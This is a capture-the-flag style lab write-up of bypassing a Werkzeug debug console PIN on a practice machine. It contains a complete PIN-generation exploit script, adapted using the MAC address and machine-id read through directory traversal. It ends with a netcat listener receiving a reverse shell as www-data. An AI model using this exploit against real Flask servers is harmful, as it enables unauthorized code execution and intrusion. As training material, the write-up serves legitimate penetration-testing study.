Werkzeug Pin Bypass
The target application has Werkzeug debuggin console enabled at the /console
endpoint. Although the debugging console is locked, it can be bypassed by leveraging the discovered file read via directory traversal and an exploit to reconstruct the pin code.
Exploit
There is an article regarding exploiting the Werkzeug Console PIN
It mentions that both
probably_public_bits
and private_bits
are required
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
A complete exploit script is provided, but it requires modifications to fit the target environment
Modifications
probably_public_bits
:
username
: Refers to the user who initiated the Flask session.jack
is the sole system user- or it could be
www-data
modname
: Typically designated asflask.app
.- N/A
getattr(app, '__name__', getattr(app.__class__, '__name__'))
: Generally resolves toFlask
.- N/A
getattr(mod, '__file__', None): Represents the full path to app.py within the Flask directory (e.g., /usr/local/lib/python3.5/dist-packages/flask/app.py)
. If app.py is not applicable, tryapp.pyc
.- This was exposed in the error message
/usr/local/lib/python3.6/dist-packages/flask/app.py
- This was exposed in the error message
private_bits
:
uuid.getnode()
: Fetches the MAC address of the current machine, withstr(uuid.getnode())
translating it into a decimal format.- To determine the server’s MAC address, one must identify the active network interface used by the app (e.g.,
ens3
). In cases of uncertainty, leak/proc/net/arp
to find the device ID, then extract the MAC address from/sys/class/net/<device id>/address
.
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/reconstruction]
└─$ echo -n "/proc/net/arp" | base64
L3Byb2MvbmV0L2FycA==
The device is
ens160
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/reconstruction]
└─$ echo -n "/sys/class/net/ens160/address" | base64
L3N5cy9jbGFzcy9uZXQvZW5zMTYwL2FkZHJlc3M=
The MAC address of the target system is
00:50:56:9e:c9:e8
- Conversion of a hexadecimal MAC address to decimal can be performed as shown below:
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/reconstruction]
└─$ python3 -c 'print(0x0050569ec9e8)'
345050630632
345050608128
get_machine_id()
: Concatenates data from/etc/machine-id
or/proc/sys/kernel/random/boot_id
with the first line of/proc/self/cgroup
post the last slash (/
).
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/reconstruction]
└─$ echo -n "/etc/machine-id" | base64
L2V0Yy9tYWNoaW5lLWlk
00566233196142e9961b4ea12a2bdb29
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/reconstruction]
└─$ echo -n "/proc/self/cgroup" | base64
L3Byb2Mvc2VsZi9jZ3JvdXA=
blog.service
Updated Exploit
import hashlib
from itertools import chain
probably_public_bits = [
'www-data', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.6/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'345050630632', # /sys/class/net/ens160/address
'00566233196142e9961b4ea12a2bdb29' # /etc/machine-id only. Appending blog.service failed
]
h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
#h = hashlib.sha1() # This is commented since the target instance is 1.0.1
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Updating the exploit script
Exploitation
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/reconstruction]
└─$ python3 werkzeug_pin_bypass.py
323-549-291
Unlocked
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/reconstruction]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [192.168.45.215] from (UNKNOWN) [192.168.209.103] 40512
bash: cannot set terminal process group (1116): Inappropriate ioctl for device
bash: no job control in this shell
www-data@reconstruction:~/blog$ whoami
whoami
www-data
www-data@reconstruction:~/blog$ hostname
hostname
reconstruction
www-data@reconstruction:~/blog$ ifconfig
ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.209.103 netmask 255.255.255.0 broadcast 192.168.209.255
ether 00:50:56:9e:77:35 txqueuelen 1000 (Ethernet)
RX packets 782 bytes 74100 (74.1 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 671 bytes 345647 (345.6 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 120 bytes 10144 (10.1 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 120 bytes 10144 (10.1 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Initial Foothold established to the target system as the www-data
user via exploiting Werkzeug Console PIN